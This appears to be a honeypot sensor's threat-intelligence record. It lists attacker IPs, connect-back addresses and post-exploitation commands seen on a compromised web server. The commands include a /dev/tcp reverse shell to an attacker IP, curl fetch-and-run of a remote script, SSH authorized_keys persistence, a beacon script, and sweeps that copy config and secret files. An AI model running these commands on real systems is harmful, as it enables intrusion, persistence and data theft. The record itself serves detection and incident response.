2026-11-04 21:28:06Not attributedNot attributedbash -> bashfind /var/www -type f -name *.php -exec grep -l 206\.245\.153\.56 {} ;
2026-11-04 21:28:06Not attributedNot attributedbash -> bashreadlink -f /var/www/.ssh/authorized_keys
2026-11-04 21:28:06Not attributedNot attributedbash -> bashreadlink -f /var/www/.ssh/authorized_keys
2026-11-04 21:28:06Not attributedNot attributedbash -> bashfind /var/www -name .htaccess -exec grep -l j332pre\|j375boot\|zz-persist\|\.zz\.php {} ;
2026-11-04 21:28:06Not attributedNot attributedbash -> bashfind /var/www -name index.php -exec grep -l j336beacon {} ;
2026-11-04 21:28:31Not attributedNot attributedbash -> bashbash /tmp/cleanup.sh ; grep -qF /root/.ssh/authorized_keys ; grep -qF /var/www/.ssh/authorized_keys ; grep -qF /var/root/.ssh/authorized_keys ; grep -qF /var/www/.ssh/authorized_keys
2026-11-04 21:28:31Not attributedNot attributedbash -> bashcurl -sS http://206.245.153.56:8088/tools/cleanup.sh -o /tmp/cleanup.sh
2026-11-04 21:28:31Not attributedNot attributedbash -> bashcurl -sS http://206.245.153.56:8088/tools/cleanup.sh -o /tmp/cleanup.sh
2026-11-04 21:28:35Not attributedNot attributedbash -> bashfind /var/www -name .htaccess -exec grep -l j332pre\|j375boot\|zz-persist\|\.zz\.php {} ;
2026-11-04 21:28:35Not attributedNot attributedbash -> bashfind /var/www -name .htaccess -exec grep -l AddHandler.*x-httpd-php.*\.css {} ;
2026-11-04 21:28:35Not attributedNot attributedbash -> bashrm -rf /var/tmp/.p
2026-11-04 21:28:35Not attributedNot attributedbash -> bashreadlink -f /var/www/.ssh/authorized_keys
2026-11-04 21:28:35Not attributedNot attributedbash -> bashfind /var/www -type f -name *.php -exec grep -l 206\.245\.153\.56 {} ;
2026-11-04 21:28:35Not attributedNot attributedbash -> bashfind /var/www -name index.php -exec grep -l j336beacon {} ;
2026-11-04 21:28:35Not attributedNot attributedbash -> bashbash /tmp/cleanup.sh
2026-11-04 21:28:35Not attributedNot attributedbash -> bashreadlink -f /var/www/.ssh/authorized_keys
2026-11-04 21:28:44Not attributedNot attributedbash -> bashrm -f /tmp/.c1422
2026-11-04 21:28:44Not attributedNot attributedbash -> bashfind /var/www -name .zz.sh -exec grep -l 206\.245\.153\.56 {} ;
2026-11-04 21:28:44Not attributedNot attributedbash -> bashfind /var/www -name .zz.php
2026-11-04 21:28:44Not attributedNot attributedbash -> bashfind /var/www -name index.php -exec grep -l j336beacon {} ;
2026-11-04 21:28:44Not attributedNot attributedbash -> bashfind /var/www -name .htaccess -exec grep -l AddHandler.*x-httpd-php.*\.css {} ;
2026-11-04 21:28:44Not attributedNot attributedbash -> bashfind /var/www -name zz-persist.config.php -exec grep -l 206\.245\.153\.56 {} ;
2026-11-04 21:28:44Not attributedNot attributedbash -> bashfind /var/www -name .htaccess -exec grep -l j332pre\|j375boot\|zz-persist\|\.zz\.php {} ;
2026-11-04 21:28:44Not attributedNot attributedbash -> bashreadlink -f /var/www/.ssh/authorized_keys
2026-11-04 21:28:44Not attributedNot attributedbash -> bashreadlink -f /var/www/.ssh/authorized_keys
2026-11-04 21:28:44Not attributedNot attributedbash -> bashfind /var/www -type f -name *.php -exec grep -l 206\.245\.153\.56 {} ;
2026-11-04 21:28:47Not attributedNot attributedbash -> bashfind /var/www -name .zz.sh -exec grep -l 206\.245\.153\.56 {} ;
2026-11-04 21:28:47Not attributedNot attributedbash -> bashfind /var/www -name .zz.php
2026-11-04 21:28:47Not attributedNot attributedbash -> bashrm -f /tmp/.c1425
2026-11-04 21:28:47Not attributedNot attributedbash -> bashfind /var/www -name zz-persist.config.php -exec grep -l 206\.245\.153\.56 {} ;
Indicators Associated with Successful Exploitation (931)
TypeValueRoleFirst seen (UTC)Last seen (UTC)Exploitations
Attacker IP2.59.133.151Sent the exploit (dataforest GmbH, AS58212, Germany)2026-10-28 05:13:452026-10-31 18:31:217
Attacker IP185.65.134.250Sent the exploit (31173 Services AB, AS39351, Netherlands)2026-10-29 19:55:432026-10-29 20:00:29186
Attacker IP185.184.222.160Sent the exploit (Owl Limited, AS43357, Netherlands)2026-10-31 00:22:392026-10-31 00:35:4575
Attacker IP206.245.153.56Sent the exploit (Moula World LLC, AS211019, Netherlands)2026-10-31 00:26:162026-10-31 01:36:09365
Attacker IP23.234.81.67Sent the exploit (tzulo, inc., AS11878, United States)2026-10-31 00:59:512026-10-31 01:00:54285
Connect-back2.59.133.151:7Sensor's shell connected out to it (the attacker's own IP)2026-10-28 05:14:012026-10-28 06:42:012
Connect-back2.59.133.151:4Sensor's shell connected out to it (the attacker's own IP)2026-10-28 18:49:592026-10-31 18:30:415
Connect-back206.245.153.56:8088Sensor's shell connected out to it2026-10-29 20:04:072026-11-04 21:28:3149
Connect-back169.254.169.254Sensor's shell connected out to it2026-10-29 20:05:112026-10-31 01:41:5586
Connect-back0.0.0.0:45454Sensor's shell connected out to it2026-10-31 00:27:472026-10-31 00:27:471
Connect-back1.1.1.1Sensor's shell connected out to it2026-10-31 00:27:472026-10-31 00:27:471
Connect-back10.20.0.2Sensor's shell connected out to it2026-10-31 01:49:542026-10-31 01:49:541
Commandcurl 37455255:7Run by the spawned shell2026-10-28 05:14:012026-10-28 06:42:012
Commandsleep 5Run by the spawned shell2026-10-28 05:14:012026-10-31 18:30:417
Commandcurl 37455255:4Run by the spawned shell2026-10-28 18:49:592026-10-31 18:30:415
Command/tmp/beacon.shRun by the spawned shell2026-10-29 19:56:402026-10-31 00:39:473
Commandbash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1Run by the spawned shell2026-10-29 19:56:402026-10-29 19:56:401
Commandcut -f2 /tmp/<REDACTED>-443/configs.tsvRun by the spawned shell2026-10-29 19:56:402026-10-29 19:58:502
Commandegrep -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|ConfiguredRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandgrep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|ConfiguredRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandgrep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfoRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandgrep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfoRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandgrep -E root |server_name|listen Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandgrep -i kubeRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandhead -1Run by the spawned shell2026-10-29 19:56:402026-10-31 01:38:485
Commandhead -10Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandhead -100Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:064
Commandhead -120Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandhead -150Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandhead -20Run by the spawned shell2026-10-29 19:56:402026-10-31 01:58:187
Commandhead -200Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:064
Commandhead -250Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandhead -30Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandhead -300Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandhead -40Run by the spawned shell2026-10-29 19:56:402026-10-31 01:36:014
Commandhead -400Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:064
Commandhead -5Run by the spawned shell2026-10-29 19:56:402026-10-31 01:57:298
Commandhead -50Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:064
Commandhead -60Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandhead -80Run by the spawned shell2026-10-29 19:56:402026-10-29 20:09:064
Commandnohup /tmp/beacon.shRun by the spawned shell2026-10-29 19:56:402026-10-31 00:39:473
Commandnohup sh /tmp/collect.sh -i 1104 -n <REDACTED>-443Run by the spawned shell2026-10-29 19:56:402026-10-29 19:58:502
Commandsetsid bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1Run by the spawned shell2026-10-29 19:56:402026-10-29 19:56:401
Commandsh -c -- [ -e /tmp/.c1104 ]||{ >/tmp/.c1104;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42104 0>&1' & }Run by the spawned shell2026-10-29 19:56:402026-10-29 19:56:401
Commandsh /tmp/collect.sh -i 1104 -n <REDACTED>-443Run by the spawned shell2026-10-29 19:56:402026-10-29 20:04:073
Commandsha256sum /etc/apache2/apache2.confRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/conf-available/charset.confRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/conf-available/docker-php.confRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/conf-available/localized-error-pages.confRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/conf-available/other-vhosts-access-log.confRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/conf-available/security.confRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/conf-available/serve-cgi-bin.confRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/envvarsRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/magicRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsha256sum /etc/apache2/mods-available/access_compat.loadRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:063
Commandsleep 60Run by the spawned shell2026-10-29 19:56:402026-10-31 00:43:214
CommandsortRun by the spawned shell2026-10-29 19:56:402026-10-31 01:17:515
Commandsort -nrRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:065
Commandtr \0 Run by the spawned shell2026-10-29 19:56:402026-10-31 01:40:178
Commandtr \0 \nRun by the spawned shell2026-10-29 19:56:402026-10-31 01:17:514
Commandwc -cRun by the spawned shell2026-10-29 19:56:402026-10-29 20:09:064
Commandwc -lRun by the spawned shell2026-10-29 19:56:402026-10-31 02:01:459
Commandbash -iRun by the spawned shell2026-10-29 19:56:462026-10-31 00:39:473
Commandchmod 600 /var/www/.ssh/authorized_keysRun by the spawned shell2026-10-29 19:56:462026-10-31 00:41:014
Commandmkdir -p /var/www/.sshRun by the spawned shell2026-10-29 19:56:462026-10-31 00:41:014
Commandawk function nib(c){return index("0123456789ABCDEF", toupper(c))-1} function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v} function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))} function st(c){if(c=="Run by the spawned shell2026-10-29 19:58:502026-10-31 01:40:576
Commandbase64 -dRun by the spawned shell2026-10-29 19:58:502026-10-31 00:43:214
CommandcatRun by the spawned shell2026-10-29 19:58:502026-10-31 01:39:005
Commandchmod +x /tmp/beacon.shRun by the spawned shell2026-10-29 19:58:502026-10-31 00:43:214
Commandcp -p /etc/apache2/apache2.conf /tmp/<REDACTED>-443/configs/0001__etc__apache2__apache2.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/conf-available/charset.conf /tmp/<REDACTED>-443/configs/0002__etc__apache2__conf-available__charset.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/conf-available/docker-php.conf /tmp/<REDACTED>-443/configs/0003__etc__apache2__conf-available__docker-php.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/conf-available/localized-error-pages.conf /tmp/<REDACTED>-443/configs/0004__etc__apache2__conf-available__localized-error-pages.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/conf-available/other-vhosts-access-log.conf /tmp/<REDACTED>-443/configs/0005__etc__apache2__conf-available__other-vhosts-access-log.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/conf-available/security.conf /tmp/<REDACTED>-443/configs/0006__etc__apache2__conf-available__security.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/conf-available/serve-cgi-bin.conf /tmp/<REDACTED>-443/configs/0007__etc__apache2__conf-available__serve-cgi-bin.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/envvars /tmp/<REDACTED>-443/configs/0008__etc__apache2__envvarsRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/magic /tmp/<REDACTED>-443/configs/0009__etc__apache2__magicRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/access_compat.load /tmp/<REDACTED>-443/configs/0010__etc__apache2__mods-available__access_compat.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/actions.conf /tmp/<REDACTED>-443/configs/0011__etc__apache2__mods-available__actions.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/auth_basic.load /tmp/<REDACTED>-443/configs/0012__etc__apache2__mods-available__auth_basic.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/auth_digest.load /tmp/<REDACTED>-443/configs/0013__etc__apache2__mods-available__auth_digest.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/auth_form.load /tmp/<REDACTED>-443/configs/0014__etc__apache2__mods-available__auth_form.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/authn_dbd.load /tmp/<REDACTED>-443/configs/0015__etc__apache2__mods-available__authn_dbd.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/authn_dbm.load /tmp/<REDACTED>-443/configs/0016__etc__apache2__mods-available__authn_dbm.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/authnz_fcgi.load /tmp/<REDACTED>-443/configs/0017__etc__apache2__mods-available__authnz_fcgi.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/authnz_ldap.load /tmp/<REDACTED>-443/configs/0018__etc__apache2__mods-available__authnz_ldap.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/authz_core.load /tmp/<REDACTED>-443/configs/0019__etc__apache2__mods-available__authz_core.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/authz_dbd.load /tmp/<REDACTED>-443/configs/0020__etc__apache2__mods-available__authz_dbd.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/authz_dbm.load /tmp/<REDACTED>-443/configs/0021__etc__apache2__mods-available__authz_dbm.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/authz_user.load /tmp/<REDACTED>-443/configs/0022__etc__apache2__mods-available__authz_user.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/brotli.load /tmp/<REDACTED>-443/configs/0023__etc__apache2__mods-available__brotli.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/cache_socache.load /tmp/<REDACTED>-443/configs/0024__etc__apache2__mods-available__cache_socache.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/cern_meta.load /tmp/<REDACTED>-443/configs/0025__etc__apache2__mods-available__cern_meta.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/cgid.load /tmp/<REDACTED>-443/configs/0026__etc__apache2__mods-available__cgid.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/data.load /tmp/<REDACTED>-443/configs/0027__etc__apache2__mods-available__data.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/dav_fs.load /tmp/<REDACTED>-443/configs/0028__etc__apache2__mods-available__dav_fs.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/dav_lock.load /tmp/<REDACTED>-443/configs/0029__etc__apache2__mods-available__dav_lock.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/dbd.load /tmp/<REDACTED>-443/configs/0030__etc__apache2__mods-available__dbd.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/dialup.load /tmp/<REDACTED>-443/configs/0031__etc__apache2__mods-available__dialup.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/dir.conf /tmp/<REDACTED>-443/configs/0032__etc__apache2__mods-available__dir.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/dir.load /tmp/<REDACTED>-443/configs/0033__etc__apache2__mods-available__dir.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/file_cache.load /tmp/<REDACTED>-443/configs/0034__etc__apache2__mods-available__file_cache.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/filter.load /tmp/<REDACTED>-443/configs/0035__etc__apache2__mods-available__filter.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/heartbeat.load /tmp/<REDACTED>-443/configs/0036__etc__apache2__mods-available__heartbeat.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/http2.conf /tmp/<REDACTED>-443/configs/0037__etc__apache2__mods-available__http2.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/http2.load /tmp/<REDACTED>-443/configs/0038__etc__apache2__mods-available__http2.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/ident.load /tmp/<REDACTED>-443/configs/0039__etc__apache2__mods-available__ident.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/imagemap.load /tmp/<REDACTED>-443/configs/0040__etc__apache2__mods-available__imagemap.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/lbmethod_bytraffic.load /tmp/<REDACTED>-443/configs/0041__etc__apache2__mods-available__lbmethod_bytraffic.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/lbmethod_heartbeat.load /tmp/<REDACTED>-443/configs/0042__etc__apache2__mods-available__lbmethod_heartbeat.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/log_debug.load /tmp/<REDACTED>-443/configs/0043__etc__apache2__mods-available__log_debug.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/lua.load /tmp/<REDACTED>-443/configs/0044__etc__apache2__mods-available__lua.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/md.load /tmp/<REDACTED>-443/configs/0045__etc__apache2__mods-available__md.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/mpm_event.conf /tmp/<REDACTED>-443/configs/0046__etc__apache2__mods-available__mpm_event.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/mpm_prefork.conf /tmp/<REDACTED>-443/configs/0047__etc__apache2__mods-available__mpm_prefork.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/mpm_prefork.load /tmp/<REDACTED>-443/configs/0048__etc__apache2__mods-available__mpm_prefork.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/mpm_worker.load /tmp/<REDACTED>-443/configs/0049__etc__apache2__mods-available__mpm_worker.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/negotiation.conf /tmp/<REDACTED>-443/configs/0050__etc__apache2__mods-available__negotiation.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/proxy.conf /tmp/<REDACTED>-443/configs/0051__etc__apache2__mods-available__proxy.confRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/proxy_balancer.load /tmp/<REDACTED>-443/configs/0052__etc__apache2__mods-available__proxy_balancer.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/proxy_hcheck.load /tmp/<REDACTED>-443/configs/0053__etc__apache2__mods-available__proxy_hcheck.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/proxy_http.load /tmp/<REDACTED>-443/configs/0054__etc__apache2__mods-available__proxy_http.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/proxy_http2.load /tmp/<REDACTED>-443/configs/0055__etc__apache2__mods-available__proxy_http2.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/proxy_uwsgi.load /tmp/<REDACTED>-443/configs/0056__etc__apache2__mods-available__proxy_uwsgi.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/proxy_wstunnel.load /tmp/<REDACTED>-443/configs/0057__etc__apache2__mods-available__proxy_wstunnel.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandcp -p /etc/apache2/mods-available/ratelimit.load /tmp/<REDACTED>-443/configs/0058__etc__apache2__mods-available__ratelimit.loadRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commanddate -u +%Y%m%dT%H%M%SZRun by the spawned shell2026-10-29 19:58:502026-10-29 20:06:153
Commandfind /etc/apache2 -type f -size -256kRun by the spawned shell2026-10-29 19:58:502026-10-31 01:42:056
Commandfind /home -type f -size -256kRun by the spawned shell2026-10-29 19:58:502026-10-31 01:42:056
Commandfind /usr/local/etc/php -type f -size -256kRun by the spawned shell2026-10-29 19:58:502026-10-31 01:42:056
Commandfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-hRun by the spawned shell2026-10-29 19:58:502026-10-29 20:05:594
Commandgrep -qx 005f784207278b74409bc550ff6664019f54b6fc04b8fccdba7686d1dfbf7bf7Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 02d4948b34c8eb9e8fd73e3cda48c95fb27046130b796700a365285ba79c9796Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 0685a94c3eb619ff40c04223a492abac258aa1b346c81e665ac684ad1af6f768Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 0b16917087731932bba3a0f0d0b39c6f1cacfe1d41991d902ebebb5ec6dee7dbRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 16cae27f01a217b73b11b63540313c470b5832dc98506eaa4743d4a952380748Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 1ec99f5ea74482ee1fbda2003453b83f81fc3a0b9a410feb40e0d29e498f8b80Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 23a180df0d1290a3068347145570eaa54bf8cb598181482e50a07a12d3edf516Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 2425be9c2c9ec7d3912048c16ce2e12566db476f8603f1029ffbded51f90a185Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 295f89a604fcad6517013c3dcc93e59eebf749d3bdf5de31ceac34fdf7f215a5Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 3041b28664a6b7dee9e93adaf09e0d6cbbfd29016f6a634fcfa0429cba39d7beRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 320727f6cd3f45f66b0d5614a45dd481f470f1139ee5a00f440c7e353690a15fRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 34910d52f754e74f2ff322705efd9654cc2da2213ba9350c58f5d3320c3daedcRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 37e43a0b97d6018d342048b838ca017fd68857b4860e4a9abe9116e7f88d89d3Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 3b5b341da5c398db85696dbac30eba03eb70a9a40c1a694c9e901767735ae2cfRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 409c8e2972b8fb0aac7560cbef73787a9a0559c92d453024caab13ae3b25f19cRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 462af26b41a9459eb89fa52a4680cf6f782ab1ac390e0d40ffa979283ac43ce7Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 481ce792fe95bbd71acf1879fa5859e8b6025b20bdea736e01a137b94b65761bRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 48ba3d685171bbb591a5ca9210eac338369d21923a327ac211ad76955838a440Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 4a4f78ffaced05b65e09082978ea7a050f4e7106c27fe605ee98b7b1dbae8740Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 543c6ce7776d222a16c598d1d1108d2de9be5a812f832a35dcaa0bc50369341bRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 589e1ff2671b578ee97ea0e322a9d5337aef755dfc6868cf15d3dfad944081ceRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 5c9900e6d20a67c7ecee2ae515d7d7320c2c8be61a0f460f13da03ed97ce6076Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 689069cd516b390acaa81f735be03a06d00977dc772161e0ae010a465460f16eRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 7010d97d6634dc3ead34626ec521dafd4788022fcc8884dcc0f487f7b911cb53Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 70fbaff68260414cdbe00a0fb095cd7587cb29cd6505d8ba0f0bd46b1e4474b5Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 7bca4c36d5b7b318f79593a99fe32322a19afa8a7142295fcaad27ff96a474c5Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 7d47ebb6d5a15a3f76c657c726dbbfbe65d36412c8d3a3785b9e20241c50284eRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 8232d9a40d516b1e8e3856ab13f6f502ac7639929b61692b68972f9f0f7dfeecRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 827c3be42b423720a5d414fec0cd6c0cfc0055c0e90c0511829b5b423538e831Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 86296f2324bcc27790a80c863886fffd10d7a48b28587151e541f38136055b8bRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 86ce9176a02f929ef4abeecaf4bd841ffa92c5aba96a3a7206d48d086d746a30Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 87210bf2b2cc8d2fc934c9537330f5ce5ccd5508ddebd002538c2e3e912cd083Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 8eb6af17232f8bdc72f702a1f554813edc418d17c1b9c60879bf95c3f2c8a397Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 918335d6c751a285bc7ada3c0ee54106723022c7c1ef62749bcef71796bb157dRun by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
Commandgrep -qx 96e05361253da0d9be1ec6c7c9003cbbb261ba65b659bd6e40ca0eac43093c43Run by the spawned shell2026-10-29 19:58:502026-10-29 19:58:501
